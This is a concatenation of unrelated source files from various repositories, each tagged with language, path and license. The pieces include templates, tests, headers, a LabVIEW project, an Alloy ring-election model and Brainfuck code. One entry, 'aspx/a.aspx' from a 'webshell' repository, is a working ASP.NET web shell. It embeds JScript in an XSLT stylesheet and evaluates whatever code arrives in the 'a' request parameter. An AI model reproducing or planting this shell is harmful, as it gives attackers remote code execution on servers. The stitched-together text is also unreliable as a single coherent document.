0.0 find 0.0 0.0 0.0 0.0 0.7537718023763802 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 2.9873640238834742 0.0 0.0 0.0 0.0 0.0 hurt 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 2.2942168433235288 0.0 0.0 0.0 0.0 0.0 2.9873640238834742 0.0 0.0 3.6805112044434196 0.0 0.0 0.0 0.0 0.0 0.0 help 0.0 0.0 0.0 0.0 0.0 0.0 0.0 2.2942168433235288 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 3.3928291319916388 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 FIRE 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 4.7791234931115296 0.0 0.0 0.0 needAWOL 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 3.1696855806774291 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 arrival 0.0 0.0 0.0 0.0 0.34830669426821564 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 2.5818989157753101 0.0 0.0 3.6805112044434196 0.0 0.0 response 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 3.3928291319916388 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0
DM
0
tommasoc80/EventStoryLine
ppmi_events_ecb+_test/14/same_sentence_ppmi.dm
[ "CC-BY-3.0" ]
pom.xml pom.xml.asc *jar /lib/ /classes/ /target/ /checkouts/ .lein-deps-sum .lein-repl-history .lein-plugins/ .lein-failures .nrepl-port
HTML+Django
0
MalcolmScoffable/openapi-generator
modules/openapi-generator/src/main/resources/clojure/gitignore.mustache
[ "Apache-2.0" ]
export { default } from './withStyles'; export * from './withStyles';
TypeScript
1
omidtajik/material-ui
packages/material-ui-styles/src/withStyles/index.d.ts
[ "MIT" ]
#if defined(GLES2_RENDERER) attribute vec2 aPos; attribute vec4 aColor; varying mediump vec4 color; #else layout (location = 0) in vec2 aPos; layout (location = 1) in vec4 aColor; flat out vec4 color; #endif void main() { color = aColor; gl_Position = vec4(aPos.x, aPos.y, 0.0, 1.0); }
GLSL
4
ipatch/alacritty
alacritty/res/rect.v.glsl
[ "Apache-2.0" ]
<p>No quests in progress</p>
HTML
0
coreyscherbing/angular
aio/content/examples/component-styles/src/app/quest-summary.component.html
[ "MIT" ]
<div class="entry-checkbox"> <input type="checkbox" data-js="entry-checkbox" name="entry-checkbox[]" value="{{ entry.id }}" /> </div>
Twig
1
b1pb1p/wallabag
src/Wallabag/CoreBundle/Resources/views/themes/material/Entry/Card/_mass_checkbox.html.twig
[ "MIT" ]
#pragma once #include <memory> #include "envoy/config/trace/v3/http_tracer.pb.h" #include "envoy/http/codes.h" namespace Envoy { namespace Http { struct UserAgentContext; /** * Captures http-related structures with cardinality of one per server. */ class Context { public: virtual ~Context() = default; /** * Get the default tracing configuration, i.e. one from the bootstrap config. * * Once deprecation window for the tracer provider configuration in the bootstrap config is over, * this method will no longer be necessary. * * @return Tracing. */ virtual const envoy::config::trace::v3::Tracing& defaultTracingConfig() PURE; virtual CodeStats& codeStats() PURE; virtual const UserAgentContext& userAgentContext() const PURE; virtual const Stats::StatName& asyncClientStatPrefix() const PURE; }; using ContextPtr = std::unique_ptr<Context>; } // namespace Http } // namespace Envoy
C
4
dcillera/envoy
envoy/http/context.h
[ "Apache-2.0" ]
<section class="section"> <div class="container"> <h1 class="title">Welcome to Joplin!</h1> <h2 class="subtitle">Please enter your password to start using your account.</h2> <form action="{{postUrl}}" method="POST"> <input class="input" type="hidden" name="token" value="{{token}}"/> <div class="field"> <label class="label">Email</label> <div class="control"> <input class="input" type="email" disabled value="{{user.email}}"/> </div> </div> <div class="field"> <label class="label">Password</label> <div class="control"> <input id="password" class="input" type="password" name="password"/> <p id="password_strength" class="help"></p> </div> </div> <div class="field"> <label class="label">Repeat password</label> <div class="control"> <input class="input" type="password" name="password2"/> </div> </div> {{> errorBanner}} <div class="control"> <button class="button is-primary">Save password</button> </div> </form> </div> </section> <script> $(() => { setupPasswordStrengthHandler(); }); </script>
HTML+Django
3
asahiocean/joplin
packages/server/src/views/index/users/confirm.mustache
[ "MIT" ]
#N canvas 736 139 534 408 12; #X declare -stdpath ./; #X floatatom 75 306 8 0 0 0 - - - 0; #X obj 57 155 noise~; #X obj 58 362 print~; #X obj 75 278 env~ 4096; #X text 138 306 RMS in dB; #X obj 39 26 noise~; #X text 103 26 - uniformly distributed white noise; #X msg 57 116 seed 123; #X text 115 353 the output range is -1 to 1, f 16; #X text 133 110 seed message to re-seed (so you can get exactly repeatable samples), f 35; #X text 295 363 updated for Pd version 0.48-2; #X obj 86 202 output~; #X obj 75 335 bng 15 250 50 0 empty empty empty 17 7 0 10 #fcfcfc #000000 #000000; #X text 46 66 Noise~ is a random number generator that outputs white noise., f 61; #X obj 379 26 declare -stdpath ./; #X text 165 221 <= click and drag to hear and turn DSP on, f 20; #X connect 1 0 2 0; #X connect 1 0 3 0; #X connect 1 0 11 0; #X connect 1 0 11 1; #X connect 3 0 0 0; #X connect 7 0 1 0; #X connect 12 0 2 0;
Pure Data
4
myQwil/pure-data
doc/5.reference/noise~-help.pd
[ "TCL" ]
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ import React from 'react'; import { styledMount as mount } from 'spec/helpers/theming'; import fetchMock from 'fetch-mock'; import ListViewCard from 'src/components/ListViewCard'; import ImageLoader from 'src/components/ListViewCard/ImageLoader'; import waitForComponentToPaint from 'spec/helpers/waitForComponentToPaint'; global.URL.createObjectURL = jest.fn(() => '/local_url'); fetchMock.get('/thumbnail', { body: new Blob(), sendAsJson: false }); describe('ListViewCard', () => { const defaultProps = { title: 'Card Title', loading: false, url: '/card-url', imgURL: '/thumbnail', imgFallbackURL: '/fallback', description: 'Card Description', coverLeft: 'Left Text', coverRight: 'Right Text', actions: ( <ListViewCard.Actions> <div>Action 1</div> <div>Action 2</div> </ListViewCard.Actions> ), }; let wrapper; const factory = (extraProps = {}) => { const props = { ...defaultProps, ...extraProps }; return mount(<ListViewCard {...props} />); }; beforeEach(async () => { wrapper = factory(); await waitForComponentToPaint(wrapper); }); it('is a valid element', () => { expect(wrapper.find(ListViewCard)).toExist(); }); it('renders Actions', () => { expect(wrapper.find(ListViewCard.Actions)).toExist(); }); it('renders and ImageLoader', () => { expect(wrapper.find(ImageLoader)).toExist(); }); });
JSX
4
razzius/superset
superset-frontend/src/components/ListViewCard/ListViewCard.test.jsx
[ "Apache-2.0" ]
module.exports = "Vendor1";
JavaScript
0
1shenxi/webpack
examples/two-explicit-vendor-chunks/vendor1.js
[ "MIT" ]
#***************************************************************************** # * # Make file for VMS * # Author : J.Jansen ([email protected]) * # Date : 10 November 1999 * # * #***************************************************************************** .first define wx [--.include.wx] .ifdef __WXMOTIF__ CXX_DEFINE = /define=(__WXMOTIF__=1) .else CXX_DEFINE = .endif .suffixes : .cpp .cpp.obj : cxx $(CXXFLAGS)$(CXX_DEFINE) $(MMS$TARGET_NAME).cpp all : $(MMS)$(MMSQUALIFIERS) minimal.exe minimal.exe : minimal.obj .ifdef __WXMOTIF__ cxxlink minimal,[--.lib]vms/opt .endif minimal.obj : minimal.cpp
Module Management System
4
addstone/unrealengine3
Development/External/wxWindows_2.4.0/contrib/samples/mmedia/descrip.mms
[ "FSFAP" ]
<!DOCTYPE html> <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1" /> <script src="lib/simpleRequire.js"></script> <script src="lib/config.js"></script> <script src="lib/jquery.min.js"></script> <script src="lib/facePrint.js"></script> <script src="lib/testHelper.js"></script> <!-- <script src="ut/lib/canteen.js"></script> --> <link rel="stylesheet" href="lib/reset.css" /> </head> <body> <style> </style> <div id="main0"></div> <div id="main1"></div> <script> var shapesMade; var WeirdTriangle; var Rect2; function makeShapes(echarts) { if (shapesMade) { return; } shapesMade = true; WeirdTriangle = echarts.graphic.extendShape({ type: 'anyway', shape: { a: 0, b: 100, c: 200 }, buildPath: function (ctx, shape) { ctx.moveTo(shape.a, shape.b); ctx.lineTo(shape.b, shape.c); ctx.lineTo(shape.c, shape.a); ctx.closePath(); } }); Rect2 = echarts.graphic.extendShape({ type: 'anyway2', shape: { x: 0, y: 0, width: 0, height: 0 }, buildPath: function (ctx, shape) { ctx.moveTo(shape.x, shape.y); ctx.lineTo(shape.x + shape.width, shape.y); ctx.lineTo(shape.x, shape.y + shape.height); ctx.lineTo(shape.x + shape.width, shape.y + shape.height); ctx.closePath(); } }); echarts.graphic.registerShape('weirdTriangle', WeirdTriangle); echarts.graphic.registerShape('rect', Rect2); // Overwrite rect. echarts.graphic.registerShape('group', WeirdTriangle); // Should not make sense. var MyWeirdGot = echarts.graphic.getShapeClass('weirdTriangle'); if (MyWeirdGot !== WeirdTriangle) { throw new Error('echarts.getShapeClass error'); } } </script> <script> require(['echarts'/*, 'map/js/china' */], function (echarts) { makeShapes(echarts); var option; option = { xAxis: {}, yAxis: {}, series: { type: 'custom', renderItem: function (params, api) { return { type: 'group', children: [{ type: 'weirdTriangle', shape: { a: api.value(0), b: api.value(1), c: api.value(2) }, style: { fill: 'red', stroke: 'green', lineWidth: 2 } }, { type: 'rect', shape: { x: api.value(3), y: api.value(4), width: api.value(5), height: api.value(6) }, style: { fill: 'red', stroke: 'green', lineWidth: 2 } }] } }, data: [ [55, 66, 77, 388, 99, 101, 111], [111, 222, 333, 500, 200, 50, 100] ] } }; var chart = testHelper.create(echarts, 'main0', { title: [ 'Custom shape in custom series.', 'Two triangles should be displayed (fill: red, stroke: green)', 'Two sandglass should be displayed (fill: red, stroke: green)' ], option: option // height: 300, // buttons: [{text: 'btn-txt', onclick: function () {}}], // recordCanvas: true, }); }); </script> <script> require(['echarts'/*, 'map/js/china' */], function (echarts) { makeShapes(echarts); var option; option = { graphic: { type: 'group', children: [{ type: 'weirdTriangle', shape: { a: 111, b: 222, c: 333 }, style: { fill: 'red', stroke: 'green', lineWidth: 2 } }, { type: 'rect', shape: { x: 500, y: 200, width: 50, height: 100 }, style: { fill: 'red', stroke: 'green', lineWidth: 2 } }] } }; var chart = testHelper.create(echarts, 'main1', { title: [ 'Custom shape in graphic component.', 'One triangles should be displayed (fill: red, stroke: green)', 'One sandglass should be displayed (fill: red, stroke: green)' ], option: option // height: 300, // buttons: [{text: 'btn-txt', onclick: function () {}}], // recordCanvas: true, }); }); </script> </body> </html>
HTML
3
DominiqueDeCordova/echarts
test/shape-custom.html
[ "Apache-2.0" ]
// This file is required by the index.html file and will // be executed in the renderer process for that window. // All APIs exposed by the context bridge are available here. // Binds the buttons to the context bridge API. document.getElementById('open-in-browser').addEventListener('click', () => { shell.open(); });
JavaScript
4
TarunavBA/electron
docs/fiddles/system/protocol-handler/launch-app-from-URL-in-another-app/renderer.js
[ "MIT" ]
#!/bin/sh export MALLOC_CONF="prof:true,lg_prof_sample:0"
Shell
1
Mu-L/jemalloc
test/unit/arena_reset_prof.sh
[ "BSD-2-Clause" ]
--TEST-- Enum allows constants --FILE-- <?php enum Foo { const BAR = 'Bar'; } echo Foo::BAR . "\n"; ?> --EXPECT-- Bar
PHP
4
NathanFreeman/php-src
Zend/tests/enum/constants.phpt
[ "PHP-3.01" ]
@each $animal in puma, sea-slug, egret, salamander {} @each $animal in puma,sea-slug,egret,salamander{} @each $animal in puma , sea-slug , egret , salamander {} @each $animal in puma, sea-slug, egret, salamander {} @each $animal in puma , sea-slug , egret , salamander { } @each $animal in puma , sea-slug , egret , salamander { } @each $animal in puma , sea-slug , egret , salamander { } @each $animal in ((puma), (sea-slug), (egret), (salamander)) {} @each $animal in((puma),(sea-slug),(egret),(salamander)){} @each $animal in ( ( puma ) , ( sea-slug ) , ( egret ) , ( salamander ) ) {} @each $animal in ((puma), (sea-slug), (egret), (salamander)) {} @each $animal in ( (puma), (sea-slug), (egret), (salamander) ) { } @each $animal in ( ( puma ) , ( sea-slug ) , ( egret ) , ( salamander ) ) { } @each $animal in ( ( puma ) , ( sea-slug ) , ( egret ) , ( salamander ) ) { } @each $animal, $color, $cursor in (puma, black, default), (sea-slug, blue, pointer), (egret, white, move) {} @each $animal,$color,$cursor in (puma,black,default),(sea-slug,blue,pointer),(egret,white,move){} @each $animal, $color, $cursor in (puma, black, default), (sea-slug, blue, pointer), (egret, white, move) {} @each $very-very-very-very-very-very-very-very-very-very-very-very-very-very-very-long-var in puma, sea-slug, egret, salamander {} @each $very-very-very-very-very-very-very-very-very-very-very-very-very-very-very-long-var, $very-very-very-very-very-very-very-very-very-very-very-very-very-very-very-long-var1, $very-very-very-very-very-very-very-very-very-very-very-very-very-very-very-long-var-2 in (puma, black, default), (sea-slug, blue, pointer), (egret, white, move) {} @each $element, $size in (h1: 20px, h2: 16px, h3: 14px) {} @each $element,$size in(h1:20px,h2:16px,h3:14px){} @each $element , $size in ( h1 : 20px , h2 : 16px , h3 : 14px ) {} @each $element, $size in (h1: 20px, h2: 16px, h3: 14px) {} @each $element, $size in ( h1 : 20px , h2 : 16px , h3 : 14px ) { } @each $element, $size in ( h1 : 20px , h2 : 16px , h3 : 14px ) { } @each $element, $size in ( h1 : 20px , h2 : 16px , h3 : 14px ) { }
CSS
2
fuelingtheweb/prettier
tests/css_atrule/each.css
[ "MIT" ]
<%@ Page Language="C#" Debug="true" %> <%@ import Namespace="System.IO"%> <%@ import Namespace="System.Xml"%> <%@ import Namespace="System.Xml.Xsl"%> <% string xml=@"<?xml version=""1.0""?><root>test</root>"; string xslt=@"<?xml version='1.0'?> <xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh""> <msxsl:script language=""JScript"" implements-prefix=""zcg""> <msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/> <msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/> <msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/> <msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/> <![CDATA[function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['a'],'unsafe');Response.End();}]]> </msxsl:script> <xsl:template match=""/root""> <xsl:value-of select=""zcg:xml()""/> </xsl:template> </xsl:stylesheet>"; XmlDocument xmldoc=new XmlDocument(); xmldoc.LoadXml(xml); XmlDocument xsldoc=new XmlDocument(); xsldoc.LoadXml(xslt); XslCompiledTransform xct=new XslCompiledTransform(); xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver()); xct.Transform(xmldoc,null,new MemoryStream()); %>
ASP
2
laotun-s/webshell
aspx/a.aspx
[ "MIT" ]
<template> <v-list> <v-list-item v-for="color in ['primary', 'secondary', 'info', 'success', 'warning', 'error']" :key="color" v-ripple="{ class: `${color}--text` }" > <v-list-item-title>Item with "{{ color }}" class</v-list-item-title> </v-list-item> </v-list> </template>
Vue
4
ahmadiqbal1/vuetify
packages/docs/src/examples/ripples/custom-color.vue
[ "MIT" ]
<?xml version='1.0' encoding='UTF-8'?> <Project Type="Project" LVVersion="14008000"> <Property Name="NI.LV.All.SourceOnly" Type="Bool">true</Property> <Property Name="SMProvider.SMVersion" Type="Int">201310</Property> <Item Name="My Computer" Type="My Computer"> <Property Name="IOScan.Faults" Type="Str"></Property> <Property Name="IOScan.NetVarPeriod" Type="UInt">100</Property> <Property Name="IOScan.NetWatchdogEnabled" Type="Bool">false</Property> <Property Name="IOScan.Period" Type="UInt">10000</Property> <Property Name="IOScan.PowerupMode" Type="UInt">0</Property> <Property Name="IOScan.Priority" Type="UInt">9</Property> <Property Name="IOScan.ReportModeConflict" Type="Bool">true</Property> <Property Name="IOScan.StartEngineOnDeploy" Type="Bool">false</Property> <Property Name="server.app.propertiesEnabled" Type="Bool">true</Property> <Property Name="server.control.propertiesEnabled" Type="Bool">true</Property> <Property Name="server.tcp.enabled" Type="Bool">false</Property> <Property Name="server.tcp.port" Type="Int">0</Property> <Property Name="server.tcp.serviceName" Type="Str">My Computer/VI Server</Property> <Property Name="server.tcp.serviceName.default" Type="Str">My Computer/VI Server</Property> <Property Name="server.vi.callsEnabled" Type="Bool">true</Property> <Property Name="server.vi.propertiesEnabled" Type="Bool">true</Property> <Property Name="specify.custom.address" Type="Bool">false</Property> <Item Name="GSTOP.lvlib" Type="Library" URL="../src/user.lib/_NEVSTOP/GlobalStop/GSTOP.lvlib"/> <Item Name="main1.vi" Type="VI" URL="../main1.vi"/> <Item Name="main2.vi" Type="VI" URL="../main2.vi"/> <Item Name="main3.vi" Type="VI" URL="../main3.vi"/> <Item Name="Dependencies" Type="Dependencies"/> <Item Name="Build Specifications" Type="Build"> <Property Name="NI.SortType" Type="Int">3</Property> </Item> </Item> <Item Name="RT CompactRIO终端" Type="RT CompactRIO"> <Property Name="alias.name" Type="Str">RT CompactRIO终端</Property> <Property Name="alias.value" Type="Str">0.0.0.0</Property> <Property Name="CCSymbols" Type="Str">TARGET_TYPE,RT;OS,VxWorks;CPU,PowerPC;</Property> <Property Name="crio.ControllerPID" Type="Str">7459</Property> <Property Name="crio.family" Type="Str">901x</Property> <Property Name="host.ResponsivenessCheckEnabled" Type="Bool">true</Property> <Property Name="host.ResponsivenessCheckPingDelay" Type="UInt">5000</Property> <Property Name="host.ResponsivenessCheckPingTimeout" Type="UInt">1000</Property> <Property Name="host.TargetCPUID" Type="UInt">2</Property> <Property Name="host.TargetOSID" Type="UInt">14</Property> <Property Name="target.cleanupVisa" Type="Bool">false</Property> <Property Name="target.FPProtocolGlobals_ControlTimeLimit" Type="Int">300</Property> <Property Name="target.getDefault-&gt;WebServer.Port" Type="Int">80</Property> <Property Name="target.getDefault-&gt;WebServer.Timeout" Type="Int">60</Property> <Property Name="target.IOScan.Faults" Type="Str"></Property> <Property Name="target.IOScan.NetVarPeriod" Type="UInt">100</Property> <Property Name="target.IOScan.NetWatchdogEnabled" Type="Bool">false</Property> <Property Name="target.IOScan.Period" Type="UInt">10000</Property> <Property Name="target.IOScan.PowerupMode" Type="UInt">0</Property> <Property Name="target.IOScan.Priority" Type="UInt">0</Property> <Property Name="target.IOScan.ReportModeConflict" Type="Bool">true</Property> <Property Name="target.IsRemotePanelSupported" Type="Bool">true</Property> <Property Name="target.RTCPULoadMonitoringEnabled" Type="Bool">true</Property> <Property Name="target.RTDebugWebServerHTTPPort" Type="Int">8001</Property> <Property Name="target.RTTarget.ApplicationPath" Type="Path">/c/ni-rt/startup/startup.rtexe</Property> <Property Name="target.RTTarget.EnableFileSharing" Type="Bool">true</Property> <Property Name="target.RTTarget.IPAccess" Type="Str">+*</Property> <Property Name="target.RTTarget.LaunchAppAtBoot" Type="Bool">false</Property> <Property Name="target.RTTarget.VIPath" Type="Path">/c/ni-rt/startup</Property> <Property Name="target.server.app.propertiesEnabled" Type="Bool">true</Property> <Property Name="target.server.control.propertiesEnabled" Type="Bool">true</Property> <Property Name="target.server.tcp.access" Type="Str">+*</Property> <Property Name="target.server.tcp.enabled" Type="Bool">false</Property> <Property Name="target.server.tcp.paranoid" Type="Bool">true</Property> <Property Name="target.server.tcp.port" Type="Int">3363</Property> <Property Name="target.server.tcp.serviceName" Type="Str">Main Application Instance/VI Server</Property> <Property Name="target.server.tcp.serviceName.default" Type="Str">Main Application Instance/VI Server</Property> <Property Name="target.server.vi.access" Type="Str">+*</Property> <Property Name="target.server.vi.callsEnabled" Type="Bool">true</Property> <Property Name="target.server.vi.propertiesEnabled" Type="Bool">true</Property> <Property Name="target.WebServer.Enabled" Type="Bool">false</Property> <Property Name="target.WebServer.LogEnabled" Type="Bool">false</Property> <Property Name="target.WebServer.LogPath" Type="Path">/c/ni-rt/system/www/www.log</Property> <Property Name="target.WebServer.Port" Type="Int">80</Property> <Property Name="target.WebServer.RootPath" Type="Path">/c/ni-rt/system/www</Property> <Property Name="target.WebServer.TcpAccess" Type="Str">c+*</Property> <Property Name="target.WebServer.Timeout" Type="Int">60</Property> <Property Name="target.WebServer.ViAccess" Type="Str">+*</Property> <Property Name="target.webservices.SecurityAPIKey" Type="Str">PqVr/ifkAQh+lVrdPIykXlFvg12GhhQFR8H9cUhphgg=:pTe9HRlQuMfJxAG6QCGq7UvoUpJzAzWGKy5SbZ+roSU=</Property> <Property Name="target.webservices.ValidTimestampWindow" Type="Int">15</Property> <Item Name="main2.vi" Type="VI" URL="../main2.vi"/> <Item Name="依赖关系" Type="Dependencies"> <Item Name="GSTOP.lvlib" Type="Library" URL="../src/user.lib/_NEVSTOP/GlobalStop/GSTOP.lvlib"/> </Item> <Item Name="程序生成规范" Type="Build"/> </Item> </Project>
LabVIEW
2
nevstop/LabVIEW-GlobalStop-Library
GlobalStop.lvproj
[ "MIT" ]
{{/* vim: set filetype=mustache: */}} {{/* Create a default fully qualified app name. We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec). */}} {{- define "locust.fullname" -}} {{- printf "%s-%s" .Release.Name "locust" | trunc 63 -}} {{- end -}} {{- define "locust.master-svc" -}} {{- printf "%s-%s" .Release.Name "master-svc" | trunc 63 -}} {{- end -}} {{- define "locust.master" -}} {{- printf "%s-%s" .Release.Name "master" | trunc 63 -}} {{- end -}} {{- define "locust.worker" -}} {{- printf "%s-%s" .Release.Name "worker" | trunc 63 -}} {{- end -}} {{/* Create fully qualified configmap name. */}} {{- define "locust.worker-configmap" -}} {{ if .Values.worker.config.configmapName }} {{- printf .Values.worker.config.configmapName -}} {{ else }} {{- printf "%s-%s" .Release.Name "worker" -}} {{ end }} {{- end -}} {{/* Common labels */}} {{- define "locust.labels" -}} helm.sh/chart: {{ include "locust.chart" . }} {{ include "locust.selectorLabels" . }} {{- if .Chart.AppVersion }} app.kubernetes.io/version: {{ .Chart.AppVersion | quote }} {{- end }} app.kubernetes.io/managed-by: {{ .Release.Service }} {{- end -}} {{/* Selector labels */}} {{- define "locust.selectorLabels" -}} app.kubernetes.io/name: {{ include "locust.fullname" . }} app.kubernetes.io/instance: {{ .Release.Name }} {{- end -}}
Smarty
5
kevinpollet/charts
stable/locust/templates/_helpers.tpl
[ "Apache-2.0" ]
It's a header --- ```{r} x <- 312312 y <- 432432432 ``` Some Text ```{r} z <- 432432432 ``` Another Text ```{r} x + y + z ```
RMarkdown
0
DeagleGross/Rplugin
testData/parser/rmd/multicell.rmd
[ "MIT", "BSD-2-Clause", "Apache-2.0" ]
/* * Model of leader election on a ring * * Each process has a unique ID, IDs are ordered. * The algorithm elects the process with the highest * ID the leader, as follows. First, each process * sends its own ID to its right neighbor. * Then, whenever a process receives an ID, if the * ID is greater than the process' own ID it forwards * the ID to its right neighbor, otherwise does nothing. * When a process receives its own ID that process * is the leader. */ open util/boolean as bool open examples/algorithms/messaging as msg open util/ordering[msg/Node] as nodeOrd open util/ordering[msg/Tick] as tickOrd sig RingLeadNode extends msg/Node { rightNeighbor: msg/Node } fact DefineRing { (one msg/Node || (no n: msg/Node | n = n.rightNeighbor)) all n: msg/Node | msg/Node in n.^rightNeighbor } sig RingLeadMsgState extends msg/MsgState { id: msg/Node } sig MsgViz extends msg/Msg { vFrom: msg/Node, vTo: set msg/Node, vId: msg/Node } fact { MsgViz = msg/Msg vFrom = state.from vTo = state.to vId = state.id } sig RingLeadNodeState extends msg/NodeState { leader: Bool } pred RingLeadFirstTrans [self: msg/Node, pre, post: msg/NodeState, sees, reads, sends, needsToSend: set msg/Msg] { one sends # needsToSend = 1 sends.state.to = self.rightNeighbor sends.state.id = self post.leader = False } fact InitRingLeadState { all n: msg/Node | tickOrd/first.state[n].leader = False } pred RingLeadRestTrans [self: msg/Node, pre, post: msg/NodeState, sees, reads, sends, needsToSend: set msg/Msg] { RingLeadTransHelper[self, sees, reads, sends, needsToSend] post.leader = True iff (pre.leader = True || self in reads.state.id) } /** * we take any messages whose node ids are higher than ours, * and we forward them to the right neighbor. we drop * all other messages. if we get a message with our own * id, we're the leader. */ pred RingLeadTransHelper[self: msg/Node, sees, reads, sends, needsToSend: set msg/Msg] { reads = sees all received: reads | (received.state.id in nodeOrd/nexts[self]) => (one weSend: sends | (weSend.state.id = received.state.id && weSend.state.to = self.rightNeighbor)) all weSend: sends | { let mID = weSend.state.id | { mID in nodeOrd/nexts[self] mID in reads.state.id weSend.state.to = self.rightNeighbor } //weSend.sentBecauseOf = { received : reads | received.id = weSend.id } //all otherWeSend: sends - weSend | otherWeSend.id != weSend.id } # needsToSend = # { m: reads | m.state.id in nodeOrd/nexts[self] } } fact RingLeadTransitions { all n: msg/Node { all t: msg/Tick - tickOrd/last | { t = tickOrd/first => RingLeadFirstTrans[n, t.state[n], tickOrd/next[t].state[n], t.visible[n], t.read[n], t.sent[n], t.needsToSend[n]] else RingLeadRestTrans[n, t.state[n], tickOrd/next[t].state[n], t.visible[n], t.read[n], t.sent[n], t.needsToSend[n]] } // also constrain last tick RingLeadTransHelper[n, tickOrd/last.visible[n], tickOrd/last.read[n], tickOrd/last.sent[n], tickOrd/last.needsToSend[n]] } } assert OneLeader { all t: msg/Tick | lone n: msg/Node | t.state[n].leader = True } fact CleanupViz { RingLeadNode = msg/Node RingLeadMsgState = msg/MsgState RingLeadNodeState = msg/NodeState } pred SomeLeaderAtTick[t: msg/Tick] { some n: msg/Node | t.state[n].leader = True } pred NeverFindLeader { msg/Loop all t: msg/Tick | ! SomeLeaderAtTick[t] } assert Liveness { (msg/NoLostMessages && msg/NoMessageShortage) => ! NeverFindLeader } pred SomeLeader { some t: msg/Tick | SomeLeaderAtTick[t] } assert LeaderHighest { all t: msg/Tick, n: msg/Node | t.state[n].leader = True => n = nodeOrd/last } run NeverFindLeader for 1 but 3 msg/Tick, 2 Bool, 2 msg/NodeState expect 1 check Liveness for 3 but 6 msg/Msg, 2 Bool, 2 msg/NodeState expect 0 check OneLeader for 5 but 2 Bool, 2 msg/NodeState expect 0 run SomeLeader for 2 but 3 msg/Node, 5 msg/Msg, 5 msg/Tick, 5 msg/MsgState expect 1 check LeaderHighest for 3 but 2 msg/NodeState, 5 msg/Msg, 5 msg/MsgState, 5 msg/Tick expect 0
Alloy
5
c-luu/alloy-specs
algorithms/election/ringlead.als
[ "Apache-2.0" ]
// First count up 2*32 if that's zero we have normal cells >+ [<++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-] <[>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<-] >[<++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-] <[>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<-] >[< ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >>+<-] +< [>>[-<< ---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- >>]<< // Weird or huge cells [-]>[-]>+<< ]>[ // Normal binary cells so check how big // Test for 2**31 bit cells (exactly 2**32 bits) >[ [-> ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ >+<<] >[ <<->> >[-< ---------------------------------------------------------------- ---------------------------------------------------------------- > ]< [-]] >[-]< < [-]] >+<< // less than 2**32 bits [>>-<< > // Calculate the value 256 and test if it's zero ++++++++[>++++++++<-]>[<++++>-] +<[>-< // Not zero so multiply by 256 again to get 65536 [>++++<-]>[<++++++++>-]<[>++++++++<-] +>[> // 32 bit + <[-]<->] <[>> // Check for exactly 16 bit or 9 to 15 bit [-]>[-]+[<++++++++>-]<[>++++++++<-]>[<++++++++>- ]<[>++++++++<-]>[<++++++++>-]+<[[-]>->+<<] <<[-]]] >[> // 8 bit or less 